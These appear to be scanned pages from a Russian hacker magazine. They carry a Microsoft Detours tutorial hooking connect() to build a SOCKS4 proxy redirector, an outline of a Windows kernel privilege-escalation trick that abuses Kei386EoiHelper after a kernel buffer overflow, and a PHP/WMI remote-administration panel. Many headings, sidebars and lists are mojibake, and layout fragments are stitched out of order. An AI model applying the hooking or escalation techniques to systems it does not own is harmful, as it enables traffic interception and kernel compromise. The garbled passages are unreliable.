этой проблемы, но делать ничего не собирается. Почесав недолго 
репу, на detours я благополучно забил. Некоторое время спустя, 

поставив ради интереса 2005-ю студию, я решил попытать счастья 
снова — и опа, собралось! Так что учти, что для сборки сей заме-
чательной библиотеки тебе понадобится Visual C++ 2005 (можно и 
express). Насчет 2010-й не в курсе — в то время ее не было, а сей-
час нет желания иметь какие-то дела со студией вообще, поэтому 
весь код был написан в Visual C++ 2005/2008 (хотя, писать можно и 
в блокноте).
От detours нам понадобится заголовочный файл detours.h, а также 
библиотеки detoured.lib, detours.lib и detoured.dll.
А писать мы с тобой будем соксификатор на SOCKS4 — программка 
полезная, отлично показывающая возможности Microsoft Detours, а 
заодно вспомним спецификации этого несложного протокола.

Как оно работает?
Принцип работы прост, как дырка от жо[Артем, опять ты за свое! 
— прим.ред.] — мы пишем DLL, в которой реализуем нашу вер-
сию вызова cool_call(), пишем приложение, которое запускает 
нужный нам софт с нужной библиотекой, и подсовывающий этой 
софтине наш API-вызов, устанавливая jump с адресом левого 
вызова в начало оригинального вызова. Для примера, запустим в 
дебаггере любое приложение, использующее, к примеру, функцию 
connect(), поставим бряк на эту функцию, при остановке выпол-
нения нажмем на Go To Disassembly, и увидим:
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Microsoft Detours — ÷åñòíîå ñðåäñòâî 
äëÿ íàñòîÿùåãî õàêåðà
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 Ïîìíèøü, êàê òû ïèñàë êîä, ïîäìåíÿþùèé API-âûçîâû â ñâîåì 
êðóòîì òðîÿíå? Èëè õîòÿ áû ÷èòàë ñòàòüþ î òîì, êàê ýòî äåëàåòñÿ? 
Äàé óãàäàþ — òåáå íå ïîíðàâèëîñü îòñóòñòâèå õîòü êàêîãî-íèáóäü 
èíñòðóìåíòàðèÿ îò Microsoft? Òàê âîò, õî÷ó òåáÿ îáðàäîâàòü — 
òåïåðü ñèòóàöèÿ êàðäèíàëüíî èçìåíèëàñü. Âñòðå÷àé Microsoft 
Detours!

ÌÅËÊÎÌßÃÊÈÅ 
ÕÓÊÈ
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Не переусердствуй 
с перехватом данных 
— это может быть 
запрещено законода-
тельством

warning

WARNING
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<………>

00411573  call dword ptr [__imp__connect@12 (4183B0h)]

<………>

Перейдем по F10 до этой строчки, нажмем F11 и окажемся в 
листинге этой функции:

<………>

71A94A07 mov edi,edi 

71A94A09 push ebp  

Знаешь, что такое mov edi, edi? Это, по сути, NOP, пропуск такта 
процессора, неиспользуемая инструкция. Сюда-то и вставляется 
jump на нашу функцию. Теперь запустим эту программу с «левым» 
вызовом, подсунутым ей Detours’ом. И что же мы видим?

<………>

71A94A07  jmp  @ILT+715(_my_connect@12) (100112D0h)

<………>

Да-да, вместо NOP’а появился jump на адрес нашей реализации 
функции connect() =).

От простого к сложному
Напишем простую программку, которая будет запускать приложение 
с нашей библиотекой. Для запуска понадобится всего одна функция 
— DetourCreateProcessWithDll(),  и мы должны передать 7 
что-то значащих параметров, остальное, в лучших традициях WinAPI 
— NULL. 
• LPCTSTR lpApplicationName — полный путь к запускаемому 
приложению;

• BOOL bInheritHandles — будет ли приложение наследовать 
хэндлы от нашего launcher’a — нам это не надо, поэтому — false;
• DWORD dwCreationFlags — флаги запуска приложения. 
Запускать его нужно в приостановленном режиме, поэтому 
CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED;
• LPSTARTUPINFOW lpStartupInfo — указатель на структуру, 
содержащую информацию о запуске приложения;
• LPPROCESS_INFORMATION lpProcessInformation — ука-
затель на структуру, содержащую информацию о запущенном при-
ложении;
• LPCSTR lpDetouredDllPath — путь до динамической библио-
теки detoured.dll;
• LPCSTR lpDllName — путь до нашей DLL-ки;
В итоге код запуска приложения выглядит так:

bool res = DetourCreateProcessWithDll(

  L"F:\\DetoursTest\\Debug\\DetoursTest.exe", 

  NULL, NULL, NULL, false, dwFlags, NULL, NULL, 
  &si, &pi, detouredName, dllName, NULL);

Не забудь обнулить структуры перед передачей в функцию, если соби-
раешься их потом использовать! Если приложение запустилось нор-
мально — нужно возобновить (в нашем случае — запустить) выполне-
ние его главного потока функцией ResumeThread, передав ей в каче-
стве параметра pi.hThread. Собственно, с «Запускатором», все.

Четверо носков
Теперь переходим к более сложному этапу — написанию самой DLL.
Для соксификации приложения нам надо перехватить всего-
навсего один вызов — всем известный connect(). Создавай в студии 
пустой проект — DLL. 

info

В статье исполь-
зовались мате-
риалы пользователя 
HabraHabr.Ru с 
ником bobermaniac.

INFO

Подмененный адрес API-вызова
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Перед перехватом нужно сохранить адрес оригинальной функции, 
чтобы можно было ее вызвать:

int (WINAPI * real_connect) (SOCKET sock, const 

sockaddr *addr, int namelen) = connect; 

После этого пишем свою функцию, полностью повторяющую 
оригинал. Обрати внимание — полностью повторяющую, то есть 
не только по параметрам, но и по соглашению о вызове! На эти 
грабли мне уже «посчастливилось» наступить, поэтому считаю 
своим долгом предупредить об этом тебя :).
Что мы должны сделать, чтобы соксифицировать приложение? 
Нам надо перехватить вызов функции connect(), и, вместо уста-
новления соединения с указанным сервером, соединиться с 
SOCKS-сервером, передать ему запрос на соединение, и вернуть 
получившийся дескриптор сокета приложению, которое запро-
сило соединение. А приложение даже и не поймет, что работает 
через SOCKS-прокси, ибо протокол SOCKS прозрачен и для кли-
ента, и для сервера.
Моя реализация этой функции проста до безобразия:

DLLEXPORT int WINAPI my_connect(

  SOCKET sock, const sockaddr *addr, int namelen)

{

   return connectToSocks4(real_connect, real_send,

     real_recv, "68.102.100.62", 55465, 

     (struct sockaddr_in *) addr);

}

connectToSocks4() — функция, устанавливающая соединение 
с SOCKS-сервером. На всякий случай, я установил хуки еще и на 
send() и recv(), хотя в конкретно данном случае это не требу-
ется. Их реализацию приводить тут я не буду — она аналогична 
функции connect().
В точке входа нашей динамически подгружаемой библиотеки 
нужно, собственно, установить хуки (или снять, при завершении 
работы с ней). Делается это с помощью нескольких функций:
• DetourRestoreAfterWith() — восстанавливает таблицу 
импорта приложения после его запуска;
• DetourTransactionBegin() — вызывается перед установ-
кой/снятием хука;
• DetourUpdateThread() — инициализирует установку/снятие 
хука для указанного потока;
• Подмену заданного вызова выполняет функция DetourAttach:

DetourAttach(&(PVOID&)real_connect, my_connect);

После выполнения подмены нужно завершить транзакцию вызо-
вом функции DetourTransactionCommit().
В случае, если нужно убрать хук, выполняются те же самые дей-
ствия, только DetourAttach() заменяется на DetourDetach().
Теперь давай посмотрим спецификацию протокола SOCKS4.
После установки коннекта к SOCKS-серверу нужно отправить 
пакет с информацией о наших намерениях. Пакет выглядит так:
• 1 байт — версия SOCKS, в случае четвертой версии протокола — 0x04;
• 1 байт — команда (соединиться с сервером — 0x01, привязать 
порт — 0x02);
• 2 байта — порт удаленного сервера (либо порт, который нужно 
открыть);
• 4 байта — IP-адрес, к которому нужно присоединиться;
• N+1 байт — C-строка длины N, содержащая идентификатор 
пользователя, завершенная нулевым байтом. N может быть равна 
нулю.
После этого сервер отправит нам пакет, в котором укажет, все ли 
его устраивает:

• 1 байт — нулевой, игнорируетсфя;
• 1 байт — результат: 
       0x5a — все ок, 
       0x5b — fail, 
       0x5c — недоступен клиентский identd, 
       0x5d — identd не смог опознать пользователя.
• 2 байта — должны игнорироваться;
• 4 байта — должны игнорироваться.
Пример «общения» клиента с сервером:

Êëèåíò: 

0x04 | 0x01 | 0x00 0x50 | 0x42 0x66 0x07 0x63 | 0x00

Ñåðâåð: 

0x00 | 0x5a | 0xXX 0xXX | 0xXX 0xXX 0xXX 0xXX

Ãäå 0xXX — ñëó÷àéíîå çíà÷åíèå (ýòè áàéòû äîëæíû 

èãíîðèðîâàòüñÿ)

После этого можно общаться с SOCKS-сервером, как с обыкно-
венным сервером, к которому мы и подключаемся.
Вот как я реализовал подключение к SOCKS-у:

<… Âûðåçàí êîä …>

char reply[8];

char packet[9]; 

packet[0] = 0x04;    

packet[1] = 0x01; 

packet[2] = r_host->sin_port / 0x100;  

packet[3] = r_host->sin_port % 0x100;  

packet[4] = r_host->sin_addr.S_un.S_un_b.s_b1;

packet[5] = r_host->sin_addr.S_un.S_un_b.s_b2;

packet[6] = r_host->sin_addr.S_un.S_un_b.s_b3; 

packet[7] = r_host->sin_addr.S_un.S_un_b.s_b4; 

packet[8] = 0x00;     

 

r_send(sock, packet, 9, 0);

memset(reply, 0x00, 9);

int recvd = r_recv(sock, reply, 9, 0);

<… Âûðåçàí êîä …>

return sock;

Не забудь — при коннекте к сокс-серверу нужно использовать 
оригинальную функцию connect(), а то получится бесконечная 
рекурсия.
На эти грабли я уже наступил, поэтому считаю своим долгом 
предупредить о них тебя.

Вердикт
Ну, вот и все — сегодня я научил тебя перехватывать API-вызовы 
абсолютно легальным, с точки зрения программирования, путем, 
используя костыль от самого Microsoft. Как всегда, не оставлю 
тебя без задания — слабо реализовать тут SOCKS5? (не бойся, 
пятый протокол ненамного сложнее, чем четвертый). 
Я надеюсь, ты понимаешь, что эту библиотеку можно использо-
вать несколько в других, более «крупных», целях. Ну, ты меня 
понял :).
Только не забывай про законодательство, а то дяди в серой 
форме поставят вполне легальные хуки на все твои действия. 
Возможно, даже сроком в несколько лет.z
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Необычный взгляд 
на обычные вещи
Сколько раз в популярной IT-литературе описывался механизм 
перехода из ring3 в ring0 ОС Windows? Не счесть! При этом авторы, 
копипастя друг у друга фактически один и тот же текст, подробно 
или не очень описывали, что произойдет, если пользователь вызо-
вет простую функцию CreateFile().
Сегодня мы попробуем взглянуть на эту проблему с несколько неожи-
данной стороны. По утверждениям знающих людей, существует один 
«proof of concept»’ный способ, позволяющий выполнять свой код на 
привилегированном уровне и пользоваться сервисами ядра напрямую, 
то есть в обход существующих ограничений, которые на тебя наклады-
вает пользовательский (ring3) уровень. Да-да, ты не ошибся, — посмо-
трим, можно ли ядро системы «подергать за вымя» напрямую. Все, 
что тебе для этого понадобится, это хорошие знания ядра, подсистемы 
ввода/вывода и изворотливость (или даже извращенность :)) ума.

Речь пойдет об упомянутом мной механизме перехода из пользо-
вательского уровня (ring3) в привилегированный уровень (уровень 
ядра). Попробуем поразмыслить и посмотреть на, казалось бы, со 
всех сторон облизанный и всем известный сценарий с другой сто-
роны — вдруг мы что-нибудь оставили без внимания?
Предположим, что у нас в руках некая 0-day уязвимость, кото-
рая позволяет скомпрометировать ядро и выполнить привиле-
гированный код. Например, как в случае с эксплуатацией бага 
nt!ZwSystemDebugControl в Windows. Одна из главных проблем, без 
решения которой вообще не обойтись, это необходимость изыскать 
способ возврата в нормальное ring3-состояние после того как ты 
выполнишь свой ring0-код. Существует два пути, которые здесь 
можно использовать. Первый — это самому реализовать код выхода 
с использованием асмовских инструкций iret или sysexit. Второй — 
заюзать собственные процедуры ядра, которые оно использует для 
таких операций (то есть выхода из ring0 в usermod’ный режим).

CODING

Òèïñû è òðèêñû äëÿ ñèñòåìùèêîâ
 «Ñîí ðàçóìà ðîæäàåò ÷óäîâèù», — ãëàñèò èñïàíñêàÿ ïîñëîâèöà. 

Íåìíîãî íàâûêîâ ñèñòåìíîãî ïðîãðàììèðîâàíèÿ, IDA Pro â óìåëûõ 
ðóêàõ, íó è ñàìîå ãëàâíîå — èñõîäíûå êîäû Windows aka WRK, è íà 
ñâåò íà÷èíàþò âûïîëçàòü êîøìàðû èç ñíà îïåðàöèîííîé ñèñòåìû 
Windows. Íå òåðïèòñÿ óçíàòü, êàêèå?

ÊÎØÌÀÐ ÍÀ ÓËÈÖÅ 
WINDOWS
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Первый способ трудоемок и сложен в реализации, поэто-
му в рамках этой статьи я его рассматривать не буду. 
Второй способ, наоборот, очень даже интересен и вдоба-
вок может быть реализован с использованием многочис-
ленных техник. Одну из них (попытку использования ядер-
ной функции nt!KiServiceExit) мы сейчас и рассмотрим.
Для начала нам нужно будет найти функцию в ядре, так 
как она не экспортируется. Для этого целесообразнее 
всего использовать сигнатурный скан, если ты, конечно, 
умеешь пользоваться дизассемблером длин. Отмечу, 
что эта функция далеко не единственная, которую 
можно заюзать для наших коварных целей. При этом 
надо иметь в виду, что большинство операций перехода 
ring0-ring3 (такие как вызов системных функций, преры-
вания, исключения) используют стек ядра. Это, в свою 
очередь, дает нам возможность воспользоваться одной 
из таких системных функций, чтобы вернуться в пользо-
вательский режим из переходов «ring0-ring3», которые 
вызываются различными событиями в системе. Главным 
требованием к такой функции является то, что она 
должна оканчиваться асмовскими инструкциями iret/
sysexit, ответственными за переход между режимами.
Таких функций несколько:
• KiSystemCallExit;
• KiSystemCallExit2;
• KiServiceExit;
• KiServiceExit2;
• KiGetTickCount;
• Kei386EoiHelper;
• KiTrap02, KiTrap06, KiTrap0D;
• KiCallbackReturn;

То есть, теоретически, если мы не найдем  
KiServiceExit, то всегда можно будет попытаться найти 
адрес похожей функции — тем более, что архитектура 
ОС Windows это позволяет :).
Опять лезем в WRK и внимательно читаем описа-
ние каждой функции. И тут на свет вылезает крайне 
занимательная штука — оказывается, что функции 
KiExceptionExit и Kei386EoiHelper выполняют практи-
чески одинаковую работу!
Вот описание KiExceptionExit: «Код функции пере-
дается в конце обработки исключения. Его цель 
— восстановить состояние машины и продолжить 
исполнение потока. Если контроль будет возвращен 
в пользовательский режим и это будет постановка 
APC в очередь, то контроль передается в процедуру 
отправки APC».
А вот описание Kei386EoiHelper: «Код функции пере-
дается в конце обработки прерывания (через макрос 
EXIT_INTERRUPT). Он проверяет отправку APC и выпол-
няет макрос EXIT_ALL для выхода из прерывания».
Как видишь, в обоих случаях код отвечает за тран-
закции, вызванные исключениями пользовательского 
режима и прерываниями. И тут возникает второй 
вопрос — если эти две функции выполняют очень 
похожие операции, то почему же они используются 
раздельно? При этом, заметь, создатели WRK честно 
предупреждают, что KiExceptionExit и Kei386EoiHelper 
идентичны. Все дело, оказывается, в волшебных 
пузырьках, которые скрыты в передаваемых макросу 
EXIT_ALL параметрах:

KiServiceExit:

EXIT_ALL    NoRestoreSegs, 

NoRestoreVolatile

Kei386EoiHelper:

EXIT_ALL       ,,NoPreviousMode/

Примечание: только не подумай, что я запутался между 
KiExceptionExit и KiServiceExit, поскольку в тексте они 
вроде как постоянно друг друга подменяют. Для про-
яснения ситуации я посоветую тебе курить файл \base\
ntos\ke\i386\trap.asm из WRK.
Теперь взглянем на реализацию макроса EXIT_ALL, 
а точнее — на описания известных нам параметров: 
NoRestoreSegs, NoRestoreVolatile и NoPreviousMode. 
Параметр NoRestoreSegs означает, что обработчику 
выхода в пользовательский режим не нужно восстанав-
ливать регистры DS, ES, GS. Параметр NoRestoreVolatile 
значит, что обработчику выхода не нужно восстанав-
ливать так называемые волатильные регистры, а пара-
метр NoPreviousMode говорит обработчику выхода из 
прерывания, что следует отказаться от копирования 
значения PreviousMode (сохраненного в трап-фрейме) в 
одно из полей структуры KTHREAD.
Ну, как тебе новость? Дальше будет еще интереснее.
Когда речь идет о первых двух аргументах 
(NoRestoreSegs и NoRestoreVolatile), для нас неваж-
но, есть они или нет. Эти параметры действительно 
важны для нормального функционирования опе-
рационной системы, когда содержание регистров 
должно быть сохранено и/или восстановлено при 
наступлении определенных событий. В данном кон-
кретном случае нам не нужно заботиться о сохра-
нении контекста процессора — нам сейчас главное 
повысить уровень наших привилегий, а основной 
код будет выполнен в пользовательском режиме. 

Не забывай посещать 
MSDN — как програм-
мист спешу заверить, 
что там можно найти 
ответы почти на все 
вопросы, которые 
будут возникать у 
тебя при системном 
кодинге.

links

HTTP://WWW

Известная уязвимость ядра — баг в NtQueryIntervalProfile
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Самое интересное — это параметр NoPreviousMode. Если ты 
не знаешь значение волшебного слова PreviousMode, то бегом 
учить матчасть. Вкратце скажу: это изменяемый параметр, 
который говорит операционной системе (например, вызову 
nt!KiSystemService) откуда идет вызов кода: из пользовательско-
го режима или из ядра. Если обработчик заподозрит неладное 
— будет сгенерировано исключение. Здесь нужно помнить такую 
вещь, что вызов системных Zw*-функций может происходить 
как из пользовательского режима, так и непосредственно самим 
ядром и драйверами. В первом случае используется инструк-
ция SYSENTER/SYSCALL (или прерывание INT0xE, которое было 
оставлено для совместимости вплоть до Windows 7) для пере-
хода в привилегированный режим. Во втором случае ядро может 
напрямую вызвать ту или иную системную функцию, для чего, 
как правило, используется KiSystemService.

.text:00405FCC  ; NTSTATUS __stdcall ZwOpenFile@24

.text:00405FCC  mov eax, 74h

.text:00405FD1  lea edx, [esp+0x4]

.text:00405FD5  pushf

.text:00405FD6  push 8

.text:00405FD8  call KiSystemService

.text:00405FDD  retn 18h

.text:00405FDD  _ZwOpenFile@24  endp

Вот тут-то и проявляет себя PreviousMode — она оказывается 
критической для функций обработки выхода в пользовательский 
режим. Ведь если при выходе из привилегированного режима ядра 
не установить значение PreviousMode в UserMode, а оставить его 
«как есть», то дальнейшая работа кода будет происходить именно 
в режиме ядра. И создатели Microsoft милостиво предоставили в 
наши коварные руки инструмент, который позволяет это сделать.
Именно поэтому я акцентировал внимание на функции 
Kei386EoiHelper — она идеально подходит на роль того трамплина, 
который позволит нам остаться в привилегированном режиме. При 
этом нужно помнить, что эта процедура использует оба стековых 
регистра — EBP и ESP. Несмотря на то, что в регистре ESP содер-
жится валидный адрес (а он используется как обычный указатель 
стека до тех пор, пока мы не перехватили управление), нам нужно 
позаботиться о правильном для нас содержании регистра EBP. Это 
важно, так как при атаке переполнения буфера в случае выхода по 

инструкции RET значение стека переписывается атакующим кодом. 
К счастью для нас, валидное значение EBP может быть легко вос-
становлено при помощи того же регистра ESP: MOV EBP, ESP.
Подведем итоги и определим приблизительный план действий: 
во-первых, нам нужно отыскать базовый адрес загрузки ядра, 
затем с помощью сигнатурного скана найти там адрес функции 
nt!Kei386EoiHelper, далее —  заставить систему ее выполнить 
(например, вызвать переполнение буфера). Не забудем подправить 
значение регистра EBP, прыгнуть на функцию nt!Kei386EoiHelper 
и продолжить выполнение своего кода уже в привилегированном 
режиме. Примерно так :).

Pro & cons
Как видно из содержания этой статьи, существует несколько 
ограничений, которые делают такой сценарий маловеро-
ятным, но все же вероятным. Нам нужно каким-то образом 
(скажем, переполнением буфера, которое сработает внутри 
системного обработчика) сгенерировать исключение. Такое 
развитие ситуации возможно, например, при каких-либо 
уязвимостях ядра. Таким образом, этот метод теоретически 
должен позволить выполнение твоего кода на привилегиро-
ванном уровне. Однако, чтобы его завести, нужен хороший 
толчок, роль которого и должна сыграть некая гипотети-
ческая уязвимость, которая сможет вызвать переполнение 
буфера в режиме ядра. А найти такую — ой как не просто. По 
признаниям самих же разработчиков ОС Windows, им хватает 
времени лишь на то, чтобы проконтролировать и протестить 
только код ядра. Значит ли это, что надежность и стабиль-
ность остальных компонентов остается без внимания? Судя 
по количеству найденных уязвимостей в ОС Windows — очень 
даже может быть.

Заключение
Не о самых простых вещах идет речь в этой статье. Однако понять 
их не так трудно. Иногда это похоже на собирание мозаики, когда 
детали, которые раньше тебе казались непонятными, вдруг стано-
вились на свои места в общей картине.
Я не утверждаю, что метод, описанный в статье, будет работоспо-
собным. Хотя мне кажется, что IT-спецам, занятым в сфере безопас-
ности, уже пора начать искать нечто подобное в сети.
Удачного компилирования и да пребудет с тобой Сила! z

IOCTLFuzzer — неплохой инструмент от Esagelab для поиска уязвимых драйверов
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Для удаленного управления форточками на сегодня существует 
стандартное подключение к удаленному рабочему столу по про-
токолу RDP и множество ПО от сторонних производителей. Однако 
эти способы требуют отдельного подключения к каждому управ-
ляемому объекту, а также установки на них серверных частей, 
что зачастую блокируется антивирусным ПО (впрочем, о чем это 
я, ведь мы планируем управлять исключительно своей личной 
машиной?). 
Но при подключении к своему компьютеру с помощью публичной 
точки доступа вероятен облом — некоторые порты TCP могут быть 
запрещены. Выход из этой ситуации я нашел в решении постро-
ить web-сайт, который будет размещен либо на управляемой 
машине, либо на любой машине домена, на которой запущен сер-
вер с админскими правами.
Естественно,  доступ к сайту ограничим паролем, а подключаться 
к нему будем по протоколу SSL.

К делу! 
В качестве web-сервера применяется сборка «Денвер» (джентль-
менский набор web-разработчика) с PHP интерпретатором версии 
5.2 (www.denwer.ru). 

Развернем web-сервер на управляемой машине, либо на любой 
машине домена под учеткой с административными правами 
доменного админа.
Денвер устанавливается  крайне просто — на сайте разработчика 
есть подробная инструкция. В моём случае я просто установил 
диск с папками web-сервера как диск A, подключающийся при 
старте системы (флоппи-дисковода у меня нет и в BIOS он отклю-
чен). Каталог www, показанный на рисунке «Содержимое нашего 
каталога», будет содержать файлы (php-скрипты) нашей системы 
удаленного управления. Для обеспечения безопасности досту-
па к сайту управления необходимо в каталоге WWW разместить 
файлы .htaccess и .htpasswd со следующим содержимым (для 
.htaccess):

<Files .htpasswd>

   deny from all

</Files>

AuthType Basic  

AuthName «Private zone. Only for Administrators!»

AuthUserFile  a:\home\localhost\www\.htpasswd  

require valid-user 
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 Íàõîäÿñü äàëåêî îò êîíñîëè, ÷àñòî âîçíèêàåò íåîáõîäèìîñòü â 
óäàëåííîì óïðàâëåíèè ìàøèíîé. Ïîñìîòðåòü ðàáîòàþùèå 
ïðîöåññû, çàâåðøèòü ñåàíñ ïîëüçîâàòåëÿ, ïåðåçàïóñòèòü çàâèñøèé 
äåìîí, çàïóñòèòü ñêðèïò èëè ïåðåçàãðóçèòü õîñò. 

ÐÓËÈÌ ÔÎÐÒÎ×ÊÀÌÈ 
×ÅÐÅÇ PHP
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Здесь мы прописываем тип аутентификации (базовая) 
и путь к файлу с паролями.
Файл .htpasswd содержит зашифрованные пароли поль-
зователей (файл создается с помощью утилиты htpasswd.
exe из комплекта дистрибутива WEB-сервера Apache), вот 
пример его содержимого:

wmimin:$apr1$gg1.....$Si…p0RHtOvEsQzAkg3Y0

wmioper:$apr1$JxT6./..$X…WF94oRqOlKXRKsKrU0

У меня используются два юзера — в дальнейшем первый 
имеет право на перезагрузку и отключение машин, а вто-
рой — не имеет.
Если у тебя нет фиксированного IP-адреса, то для того, 
чтобы наш сайт управления был виден извне, необходимо 
зарегистрироваться на dyndns.com (либо аналогичном 
сайте, предоставляющем услугу динамического DNS), а 
затем в настройках маршрутизатора (например, для DLink 
при ADSL подключении) прописать полученный логин и 
пароль (см. картинку).
Для доступа снаружи на наш web-сервер необходимо 
также добавить IP-машины с сайтом в DMZ-зоне.

Разбираем принцип работы
Теперь расскажу о том, как осуществляется мониторинг 
либо управление машинами через наш сайт. Для этого 
мы используем подключение из PHP к подсистеме WMI 
виндовых машин посредством создания новых COM-
объектов.
WMI (инструментарий управления осями Windows) предо-
ставляет нам возможность подключаться к следующим 
провайдерам:

• Dsprov.dll, ïðîâàéäåð êàòàëîãà Active 

Directory (Active Directory provider), ïîçâî-

ëÿåò îáðàùàòüñÿ ê Active Directory êàê ê 

îáúåêòó WMI;

• Ntevt.dll, ïðîâàéäåð æóðíàëà ñîáûòèé (Event 

Log provider), äàåò âîçìîæíîñòü óïðàâëÿòü 

æóðíàëîì ñîáûòèé;

• Wbemperf.dll, ïðîâàéäåð ñèñòåìíûõ ñ÷åò÷èêîâ 

(Perfomance Counter provider) — îáåñïå÷èâàåò 

äîñòóï ê ñ÷åò÷èêàì ïðîèçîâîäèòåëüíîñòè;

• Stdprov.dll, ïðîâàéäåð ðååñòðà (Registry 

provider), ïîçâîëÿåò îñóùåñòâëÿòü ÷òåíèå è 

èçìåíåíèå ðååñòðà; 

• Snmpincl.dll, ïðîâàéäåð SNMP-óñòðîéñòâ 

(SNMP provider), îòêðûâàåò øëþç äîñòóïà ê  

SNMP (Simple Network Management Protocol);

• Wmiprov.dll, ïðîâàéäåð äðàéâåðîâ óñòðîéñòâ 

(WDM provider), äàåò âîçìîæíîñòü ïîëó-

÷àòü èíôîðìàöèþ íèçêîãî óðîâíÿ î äðàéâåðàõ 

óñòðîéñòâ Windows Driver Model (WDM);

• Cimwin32.dll, ïðîâàéäåð ïîäñèñòåìû Win32 

(Win32 provider), îáåñïå÷èâàåò äîñòóï ê 

èíôîðìàöèè î êîìïüþòåðå, ÎÑ, ïîäñèñòåìå áåç-

îïàñíîñòè, äèñêàõ, ïåðèôåðèéíûõ óñòðîéñòâàõ, 

ôàéëîâûõ ñèñòåìàõ, ôàéëàõ, ïàïêàõ, ñåòåâûõ 

ðåñóðñàõ, ïðèíòåðàõ, ïðîöåñàõ, ñåðâèñàõ è òàê 

äàëåå;

• Msiprov.dll, ïðîâàéäåð óñòàíîâëåííîãî ÏÎ 

(Windows Installer provider) — ïîçâîëÿåò 

ïîëó÷àòü èíôîðìàöèþ îá óñòàíîâëåííîì ÏÎ. 

Для вывода на web-страницу информации о текущем 
состоянии машины (память, процессы, службы), а также 
для выполнения некоторых административных действий 
необходимо написать функции, которые будут вызывать-
ся с параметрами (имя машины или IP-адрес), а затем 
выводить  результат своей работы в соответствующее 
поле web-страницы. Самые интересные и используемые 
в рамках нашего проекта функции будут требовать обра-
щения к провайдерам подсистемы Win32 и провайдеру 
реестра.

Работаем с реестром 
удаленно
На сегодня у меня реализованы как мониторинговые, 
так и управляющие функции. Из мониторинговых стоит 
выделить функцию получения и вывода информации 
о версии BIOS, производителе и модели материнской 
платы (полный текст функции в исходнике — файл bios.
php). Данный функционал реализуется с помощью соз-
дания нового COM-объекта подключением к провайдеру 
StdRegProv подсистемы WMI. Все рассмотренные функ-
ции вызываются с переменной $server, которая содержит 
имя управляемой удаленной машины в локальной сети 
либо ее IP-адрес.

Работа с провайдером реестра

$obj = new COM(

 'winmgmts:{impersonationLevel=impersonate}//' 

 .$server.'/root/default:StdRegProv’);

$obj->getStringValue(HKLM,$keypath1,

 $keyvalue_def,$key);

echo "BIOS release date: ".$key."\r\n";

$obj->getStringValue(HKLM, $keypath2,  

 $keyvalue_mb_model, $key);

echo "Mainboard model: ".$key ."\r\n";

Таким образом, после создания нового COM-объекта 
методом getStringValue мы читаем раздел реестра HKLM 
(выбор раздела реестра задается константой, в нашем 
случае — объявлением define('HKLM',0x80000002);). 
При необходимости читать другие разделы реестра ука-
зываем другие константы:

На диске лежат полные 
исходные коды вышеу-
помянутых функций. 
Для их запуска тебе 
понадобится интер-
претатор версии PHP5.

links

HTTP://WWW

Вывод информации из BIOS (выделено крас-
ным)

Содержимое нашего каталога
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Const HKEY_CLASSES_ROOT  = 0x80000000

Const HKEY_CURRENT_USER  = 0x80000001

Const HKEY_LOCAL_MACHINE  = 0x80000002

Const HKEY_USERS   = 0x80000003

Const HKEY_CURRENT_CONFIG  = 0x80000005  

В результате работы скрипт выводит нам следующие данные (в моем 
случае):

BIOS release date: 04/30/10

Mainboard manufacturer: Gigabyte Technology Co., Ltd.

Mainboard model: G31M-ES2L

Кроме используемого метода getStringValue существуют дополнитель-
ные методы работы с провайдером StdRegProv, среди них:

• GetBinaryValue — ÷òåíèå çíà÷åíèé òèïà BINARY;

• GetDWORDValue — ÷òåíèå çíà÷åíèé òèïà DWORD;

• GetExpandedStringValue — ÷òåíèå çíà÷åíèé òèïà 

EXPANDED STRING;

• GetMultiStringValue — ÷òåíèå çíà÷åíèé òèïà MULTI 

STRING;

• CreateKey — ñîçäàíèå êëþ÷à ðååñòðà;

• SetBinaryValue — çàïèñü çíà÷åíèÿ òèïà BINARY;

• SetDWORDValue — çàïèñü çíà÷åíèÿ òèïà DWORD;

• SetExpandedStringValue — çàïèñü çíà÷åíèÿ òèïà 

EXPANDED STRING; SetMultiStringValue — çàïèñü çíà÷åíèÿ 

òèïà MULTI STRING;

• SetStringValue — çàïèñü ñòðîêîâîãî çíà÷åíèÿ;

• DeleteKey — óäàëåíèå êëþ÷à;

• DeleteValue — óäàëåíèå çíà÷åíèÿ êëþ÷à;

• EnumKey — ïîëó÷èòü ïåðå÷èñëåíèå êëþ÷åé ðååñòðà;

• EnumValues — ïîëó÷èòü ïåðå÷èñëåíèå çíà÷åíèé êëþ÷åé;

• CheckAccess — ïðîâåðêà ïðàâ äîñòóïà ê êëþ÷ó ðååñòðà.

В данном случае они не используются, а подробнее узнать об их при-
менении можно в великом MSDN.

Мониторим систему удаленно
Для осуществления функций мониторинга системы потребуется 
работать с пространством имен WMI (/root/cimv2), что даст нам 
возможность обращаться к необходимым провайдерам Win32_
Processor, Win32_OperatingSystem, Win32_PerfFormattedData_
PerfOS_System, Win32_OperatingSystem, Win32_Process, Win32_
Service. Итак, получаем информацию о центральном процессоре 
системы (CPU), включая его загрузку в процентах и данные CPUID 

(полный текст функции в исходнике — файл cpu_info.php), для 
этого сделаем так:

Работа с пространством имен /root/cimv2 и провайдером 

Win32_Processor

$obj = new COM (

  'winmgmts:{impersonationLevel=impersonate}//' 

  .$server.'/root/cimv2');

$pc = 0;

foreach ($obj->instancesof('Win32_Processor') as $mp)

{

  echo "Processor (".++$pc.")\r\n";

  echo "Name: ".trim( $mp->Name )." @ " .

  $mp->CurrentClockSpeed . " MHz\r\n";

  echo "CPU Load: ".$mp->LoadPercentage . "%\r\n";

}

Здесь мы создаем новый COM-объект и, обращаясь к методам про-
вайдера Win32_Processor, получаем нужную нам информацию:

Processor (1)

 Processor Id: BFEBFBFF0001067A

  Name: Pentium(R) Dual-Core

                    CPU E5300 @ 2.60GHz @ 1196 MHz

     CPU Load: 18%

   CPU Status: OK

 CPU Stepping: 

 CPU Revision: 5898

  System Name: GUZY

Данные о температуре процессора мы можем получить, обра-
тившись к пространству имен /root/WMI и провайдеру MSAcpi_
ThermalZoneTemperature (полный текст функции в исходнике — файл 
cpu_temp.php). Получение актуальной температуры CPU работает не 
на всех материнских платах ПК, зато прекрасно работает на ноутах.

Работа с пространством имен /root/WMI и провайдером 

MSAcpi_ThermalZoneTemperature

$obj = new COM (

 'winmgmts:{impersonationLevel=impersonate}//'

 .$server.'/root/WMI');

foreach($obj->instancesof (

  'MSAcpi_ThermalZoneTemperature') as $mp)

{

  echo "<pre>\r\n";

  $ctemp=($mp->CurrentTemperature);

  echo «<b>Current CPU temperature: "

    . ( $ctemp — 2732)/10  . "C" . "\r\n";       

  }   

Здесь перед выводом на страницу мне пришлось перевести темпе-
